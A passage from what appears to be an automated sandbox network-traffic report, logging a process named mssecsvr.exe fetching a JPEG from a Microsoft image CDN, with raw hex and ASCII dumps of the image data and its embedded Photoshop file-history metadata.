8e c2 Data Ascii: mZP,1Gmwb,#2ig_]+Tgt+}^9TpHeDIF:UL3+$KhGrnr&fe$7SH>j>8yvOB 22qyqoww?=edG4$1q?IFebc",6=N03hFM5m/b
2022-07-20 04:06:51 UTC	6055	IN	Data Raw: 3c 4f 68 dd fa 0b 37 92 66 f2 e4 2d 93 0b 22 ea d2 49 e8 bd 6c 79 fc 93 47 72 ba 96 34 6d 37 1d b2 bd b5 d7 c4 ec 3f b4 8d 26 d1 eb 7d 9d 29 86 79 b0 90 95 95 89 98 6e 82 37 45 bd 97 17 f1 97 cc ab 0b db 64 2e 0d 26 f3 4a 3a 86 db da 28 b5 66 d2 42 14 0b d4 a3 93 71 81 fa 2b 41 9d f2 fc 59 6c 65 c7 22 27 6b 9d 37 f5 6c df 85 df 8b 88 ff 00 79 b9 45 62 72 a4 e4 a8 5d 02 cf 3b 01 66 61 b2 3d 9e b7 73 b3 40 b0 c8 1e df f5 a2 13 1d 05 b7 ab 37 8c ef 01 d4 c0 e8 3e 51 ba de 65 1b 8f 99 1c 6a cb 16 c6 6b 8f a2 de 65 35 51 8d 8f 03 a6 74 9c 5e 21 db 18 3d 8f 06 8f 07 f1 53 f8 74 8b 99 08 f1 f2 5a 28 c1 55 4d 96 6e d5 59 5b c5 b7 79 2a 43 07 d1 86 8a 76 f9 a8 b9 f3 99 f6 dc 96 b8 e9 db b7 f7 2a 03 98 3a b5 ec 2e 2d b4 0d 36 f1 76 29 77 14 96 da 6a 70 2b cc eb 1a Data Ascii: <Oh7f-"IlyGr4m7?&})yn7Ed.&J:(fBq+AYle"'k7lyEbr];fa=s@7>Qejke5Qt^!=StZ(UMnY[yCv:.-6v)wjp+
2022-07-20 04:06:51 UTC	6071	IN	Data Raw: 36 d1 d0 3c b5 6c 58 fc 47 11 dc 8b 74 d5 78 20 b3 3c bf 4d 85 35 e5 f8 a6 49 cc a3 a0 a7 fc 7d 5f e8 52 a5 90 a8 62 4f 08 a5 c9 21 61 bd 4a 5d 0a ec 35 34 6d 22 de 4a 1f 2c b4 73 b0 52 76 9d 82 88 12 05 f6 97 b1 e9 b5 35 80 21 7d 6a 0b 30 35 24 c8 60 74 f5 79 2a 5a 62 b1 2a ba 5b ae dd 1f 66 8b 7c 0c 56 c5 19 50 cf a9 ef 63 19 5b 3a d0 aa 82 95 75 60 59 32 18 e8 dc 95 27 24 20 37 37 0d 09 3c 46 22 4f 76 fd 55 52 ab 3d 82 82 49 e8 14 f3 2b 97 34 78 a9 9c 1b 72 47 28 47 90 a8 5f d7 aa f9 64 2a 27 53 6e 8d b4 63 ba b4 65 86 f6 3b bf 39 29 e9 dc 48 a2 c7 f4 5e 97 9e 5d 90 8e 62 91 0a 38 17 21 b6 75 6a a3 b1 70 a3 11 5d 94 33 be c1 7a 63 9a dc 5c c1 27 96 c0 fe 4a aa 25 b4 80 0e 85 dd fe aa ae fd d3 ba 0b ee 9b 64 71 a2 69 dc 8a 0b 27 02 24 3b 9b 96 3d eb d5 Data Ascii: 6<lXGtx <M5I}_RbO!aJ]54m"J,sRv5!}j05$`tyZb[f\|VPc[:u`Y2'$ 77<F"OvUR=I+4xrG(G_d*'Snce;9)H^]b8!ujp]3zc\'J%dqi'$;=
2022-07-20 04:06:51 UTC	6075	IN	Data Raw: 4e ee eb 76 28 7e 4e d9 10 93 36 3c cd 10 bd 99 46 d5 7b f8 d1 fd 5d 31 e4 f9 87 e3 72 72 e5 ed 32 b1 fc f7 fe e5 66 f7 0e 3a 2e 15 af 27 dd e3 8e 14 68 d9 2e f8 de 5d d5 dd e4 a5 59 eb 6c a7 d1 b5 10 e9 ae 15 d3 91 a7 ca c4 d7 14 96 6b b7 4b b5 ea d9 50 fc 60 1e 55 04 9f 26 ed 06 c1 6f 42 54 9d 95 6e 53 0e 18 41 d2 dd 3e 8d 2f 78 80 34 5b dd da e3 af a3 f2 0e cd 57 22 6d da 2b 93 77 4a 59 b5 a9 cf ca b0 df 19 dd 86 c5 76 6f b2 a9 55 fc f1 20 c2 e5 d1 62 0e dc c6 e7 f2 2e f7 eb d5 3c bf 17 29 70 c4 81 4f c2 bb 95 91 86 d3 a4 32 b3 7a bf a9 59 ff 00 9a f9 e1 e6 f9 c6 4b 69 48 c6 85 03 e8 a5 c3 03 4b dd 66 0e 49 1b 33 b5 b9 59 3e 1d 14 76 0b 7f e8 a1 b9 2f aa ca 85 ef b4 be 9b 5b cb b9 4d d7 0f e2 79 8c d1 81 bd a4 ff 00 58 a4 e7 9b 33 08 31 96 dc 38 dd 5a Data Ascii: Nv(~N6<F{]1rr2f:.'h.]YlkKP`U&oBTnSA>/x4[W"m+wJYvoU b.<)pO2zYKiHKfI3Y>v/[MyX318Z
2022-07-20 04:06:51 UTC	6091	IN	Data Raw: 97 bb 91 f4 0f f8 53 4e 53 0a 83 c4 7e c8 1d 7d 14 95 32 03 c8 50 1e c9 a2 9e 66 75 11 8b 84 1d 5f b4 d4 12 21 23 1e 1b d1 a3 00 2f b6 98 f3 4c c8 b2 65 8b 85 d9 4f a3 ae f4 b7 09 99 86 ce d5 c5 ab b1 82 c4 5c 6c a9 72 a5 32 64 46 be 26 14 21 44 68 40 d8 a2 bb 2c b5 a2 11 bf db b3 87 09 6d 1a 8d 36 1d 16 f7 95 de 79 93 f1 13 58 74 2e c1 4c 73 31 e3 24 3b 74 af ff 00 0d ea ce c9 3e b9 48 eb bd 04 56 90 87 b6 f2 2e 37 a1 63 8e 87 c4 d3 ac 1e 54 f9 98 de ac 0b ed b8 34 97 22 11 04 dc 37 03 89 16 a5 bd fc 7a 77 69 f7 2f c9 78 55 55 0f 48 a4 19 f1 b9 96 47 fc ff 00 d5 45 09 62 ec 09 dd e5 a1 72 aa 43 0f 4e 26 94 64 48 c1 a5 42 74 c6 d6 1f 67 c3 52 e5 79 d0 44 fc 22 34 ab ec 27 af d3 a1 e5 91 73 1b 41 36 93 bb e4 6f 36 97 cc 8c 84 82 2c 47 55 6b 2c 41 86 27 74 Data Ascii: SNS~}2Pfu_!#/LeO\lr2dF&!Dh@,m6yXt.Ls1$;t>HV.7cT4"7zwi/xUUHGEbrCN&dHBtgRyD"4'sA6o6,GUk,A't
2022-07-20 04:06:51 UTC	6107	IN	Data Raw: 3d 2c 7c 55 95 cc 48 e4 c3 ff 00 70 c9 8e 59 24 61 60 ca 40 89 5a fe fd df 7f d0 4a 28 58 77 72 87 b6 ea 33 c4 aa 79 f7 29 ca 82 34 c0 ed 61 95 57 89 f3 1c 8c c1 64 85 49 f2 a9 28 6d fa 71 d5 f9 1c d3 27 97 a5 f1 8f 08 ca bb c4 76 ac 0b ee ea a4 7c bf 3e 36 ca 8f 8e a3 82 1b 6a 8b ed 1e 1d 5d bf af 4f db 36 14 c1 70 63 0c 24 2e 8a cd b4 c7 ef 17 47 9f bf 56 25 89 51 80 c2 e1 ad 92 f2 54 c7 75 1a 9d 6f 57 7c 9a ad 26 36 56 54 a6 fb a5 47 e6 1c 67 ff 00 a7 5e e5 70 09 39 7e 4b 9e d4 68 92 2f 97 52 97 6a bb 1e 21 cb 70 86 38 b8 3c 36 24 79 ee 35 3e af 42 a3 81 3a e3 62 cd 1f 5c 80 a8 b7 d0 bf fa 94 9b 86 76 7d aa f2 26 ef 06 e4 54 83 26 4a cc 74 c4 e2 5a ac e6 79 c3 99 18 f2 00 00 b4 49 aa de 31 a9 25 fd 3a ce 73 dc 72 23 5c 90 36 03 a1 8f e5 df 8b f6 e9 be Data Ascii: =,\|UHpY$a`@ZJ(Xwr3y)4aWdI(mq'v\|>6j]O6pc$.GV%QTuoW\|&6VTGg^p9~Kh/Rj!p8<6$y5>B:b\v}&T&JtZyI1%:sr#\6
2022-07-20 04:06:51 UTC	6115	IN	Data Raw: 81 3a f6 b1 fa 3b a9 56 a1 01 11 54 9f 0d 69 c9 11 c4 0d 9e 2c 7c b4 36 4c b2 73 29 82 c4 a5 82 ec 45 02 e6 df df ad 37 ca 38 d3 e3 ac e9 32 32 5f 4d b5 02 3c 74 ef ff 00 6f 79 48 85 5f 31 d4 05 ec 27 d2 7d eb d3 ff 00 98 21 2b 14 72 b1 24 eb d3 b4 f7 59 5f 77 47 63 b9 54 bb a2 d2 c2 f6 0a 23 5e 1c 79 ba 7b f2 56 8c 22 ea 31 dd 03 85 7d 5a f9 c7 38 1a 5d 87 46 df fe 34 24 5b b1 96 eb bd 1d cf 56 d2 30 eb bd 0c e8 12 3d de 83 e5 a5 c6 77 17 e5 aa 58 ed b7 83 57 71 c9 e9 14 ff 00 92 fa c7 d2 6c 05 67 a0 24 0a 73 85 95 c1 c2 9e 55 53 ad 63 20 11 d2 59 fd 5a 7e 9b d2 7b 85 24 58 6d 6d d1 f3 a8 e1 01 a4 02 f6 d6 94 63 cf 0f 30 cd 92 51 1a a4 2a 5d 98 f6 99 ec 78 8f a9 fc ff 00 65 16 8f bc a0 27 f9 8f 3d 65 97 85 33 22 c8 d7 65 53 65 2d e8 f9 b4 cf 97 43 f0 d0 Data Ascii: :;VTi,\|6Ls)E7822_M<toyH_1'}!+r$Y_wGcT#^y{V"1}Z8]F4$[V0=wXWqlg$sUSc YZ~{$Xmmc0Q*]xe'=e3"eSe-C
2022-07-20 04:06:51 UTC	6131	IN	Data Raw: b5 12 cc d2 36 47 4f d9 5a a8 44 11 8b c6 34 9b 5b 65 2e 38 92 40 c4 b6 d1 e2 14 e8 c1 bb a8 1b f9 6a 1a 0d a9 36 89 94 f4 cd 9d 77 58 35 17 59 d2 c1 8e 6b 48 39 86 41 5c 66 00 ef 48 74 fd 5e db d2 b8 01 1b 2d 5a 8c be 4c 99 80 32 59 64 1d 17 ec 1f 4b c1 48 25 8e 7c 79 be 1e 75 d0 47 57 ed 79 f4 e8 f1 54 c4 1d 78 9a b5 bb 29 52 44 b2 f1 29 df a1 59 74 b5 74 0d b5 6e 43 2c 24 ec bb 75 7d 15 de 5b 8b 26 6c 82 28 85 dd 8d 87 f4 f3 69 85 82 a6 47 41 56 4b 01 73 4c 39 27 25 7e 69 30 51 d8 be f1 fd 8a d2 73 de 72 22 88 60 e2 1d 30 ae e9 d3 b3 57 8b f9 55 ec f9 62 e4 18 2b 89 17 ff 00 51 22 ed f3 50 f7 bf 89 3d 66 38 a5 f6 b6 da af 7b 00 dc ed c3 ea 46 df b7 4a 8e f9 75 1b 9f e1 2f dd a7 f5 eb 4f f2 b4 46 48 a5 64 d8 d1 90 75 0e 9f c3 fb 1a 2b 61 8b f3 8c 7d 8c Data Ascii: 6GOZD4[e.8@j6wX5YkH9A\fHt^-ZL2YdKH%\|yuGWyTx)RD)YttnC,$u}[&l(iGAVKsL9'%~i0Qsr"`0WUb+Q"P=f8{FJu/OFHdu+a}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	50632	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:50 UTC	1222	OUT	GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 04:06:50 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pjc1?ver=a739 Last-Modified: Tue, 05 Jul 2022 21:45:59 GMT X-Source-Length: 1871414 X-Datacenter: northeu X-ActivityId: 2db28c9b-6909-4813-a9ac-c316ff1267c0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1871414 Cache-Control: public, max-age=366143 Expires: Sun, 24 Jul 2022 09:49:13 GMT Date: Wed, 20 Jul 2022 04:06:50 GMT Connection: close
2022-07-20 04:06:50 UTC	1240	IN	Data Raw: ff d8 ff e1 26 b1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 31 39 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: &ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:19:328"
2022-07-20 04:06:50 UTC	1290	IN	Data Raw: d6 84 e1 8e 31 94 61 2f 51 31 19 4f 0f 17 a6 27 d3 08 ff 00 ab f7 3f 7f ff 00 62 21 7d 05 b6 dc df 52 c6 bd ad f5 6a 0d ac d8 1c 77 b5 ad 03 7d 97 1a c9 db bf dc da fd fe af b3 d4 51 ea 38 86 cb 31 ae 73 80 63 1f bd f6 b0 b5 92 1c cb 2a bf 6f b7 63 5b 6d 6e ad f6 32 df d0 df e9 7f 34 a3 86 3a 7e f6 5e 1e ec 47 d6 4f a9 48 b1 ce ad e3 46 fe 9a b6 fe 91 ce c5 df fa 37 fa 74 fd 3a aa b9 4e de a5 8d f6 2b 6b c9 b2 b7 16 87 7d a2 ab 1e e6 03 5d 83 75 2f 30 db 3e 9d 6d 66 cf 47 7f fc 17 a9 75 6a 21 09 71 09 44 13 44 44 c6 bf 7f 8a 12 f5 f1 7f 57 f4 59 00 b1 7a 0f ab 99 77 57 e9 f4 7e 83 1e fa ad 7b ec 0c 8c 52 e2 d7 96 fe 92 b6 c3 b6 37 1f 7b 9b ee f4 2f b3 fc 27 ee 7a 96 65 66 55 46 6e 3d 16 74 f6 39 bb 3d 41 7f b1 94 d6 d2 5c df 51 cd fe 75 b6 55 b3 77 a4 cf Data Ascii: 1a/Q1O'?b!}Rjw}Q81sc*oc[mn24:~^GOHF7t:N+k}]u/0>mfGuj!qDDDWYzwW~{R7{/'zefUFn=t9=A\QuUw
2022-07-20 04:06:50 UTC	1322	IN	Data Raw: 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 32 3a 35 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f Data Ascii: 07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-07-11T12:54:26-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_
2022-07-20 04:06:50 UTC	1374	IN	Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 30 39 30 34 31 35 5f 48 61 6c 6c 73 74 61 74 74 41 75 73 74 72 69 61 5f 35 30 30 70 78 2d 36 39 33 38 38 36 35 35 5f 47 72 61 64 69 65 6e 74 2d 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 35 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 Data Ascii: s\v-lizagh\MS\Windows10\PrettyPics\090415_HallstattAustria_500px-69388655_Gradient-1920x1080.jpg saved 2016-07-12T15:17:03-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F
2022-07-20 04:06:50 UTC	1491	IN	Data Raw: 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 30 3a 35 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 32 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: ;2016-08-19T10:54:06-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-08-19T12:17:39-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 04:06:50 UTC	1530	IN	Data Raw: 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 36 54 31 32 3a 35 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6c 65 63 74 69 6f 6e 73 5c 4d 49 54 5f 45 6c 65 63 74 69 6f 6e 73 5f 35 30 30 70 78 2d 39 36 31 32 38 32 39 35 Data Ascii: ppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-10-06T12:55:42-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Elections\MIT_Elections_500px-96128295
2022-07-20 04:06:50 UTC	1578	IN	Data Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 32 3a 34 34 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 Data Ascii: 0 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-16T12:44:48-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE64
2022-07-20 04:06:50 UTC	1681	IN	Data Raw: 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 39 32 30 78 31 30 38 30 34 45 38 35 44 32 30 46 43 36 33 35 35 30 45 32 36 33 37 43 41 31 38 34 34 32 44 39 30 41 36 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 53 74 61 72 74 4d 65 6e 75 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 37 38 38 31 32 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 31 3a 31 35 2d 30 38 3a 30 30 26 23 Data Ascii: 00px-121190395_1920x10804E85D20FC63550E2637CA18442D90A63.psb saved 2017-01-11T11:00:02-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-StartMenu_GettyImages-167881236_1920x1080.jpg saved 2017-01-11T11:01:15-08:00&#
2022-07-20 04:06:50 UTC	1705	IN	Data Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 31 54 31 38 3a 35 32 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 Data Ascii: #x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-02-21T18:52:32-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMont
2022-07-20 04:06:50 UTC	1824	IN	Data Raw: 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 36 35 39 34 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 38 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 Data Ascii: 20x1080.jpg saved 2017-02-28T11:44-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-613659454_1920x1080.jpg saved 2017-02-28T11:48:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\A
2022-07-20 04:06:50 UTC	1840	IN	Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 35 31 33 34 33 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 34 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 39 30 37 37 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 Data Ascii: rs\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-466513438_1920x1080.jpg saved 2017-04-12T11:44:58-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-493907750_1920x1080.jpg saved 2017
2022-07-20 04:06:50 UTC	1920	IN	Data Raw: 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 38 54 31 38 3a 31 34 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 30 36 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 Data Ascii: cape.psd closed 2017-04-28T18:14:39-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-05-05T09:06:18-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-05-05T09:10:59-07:00 File C:\Users
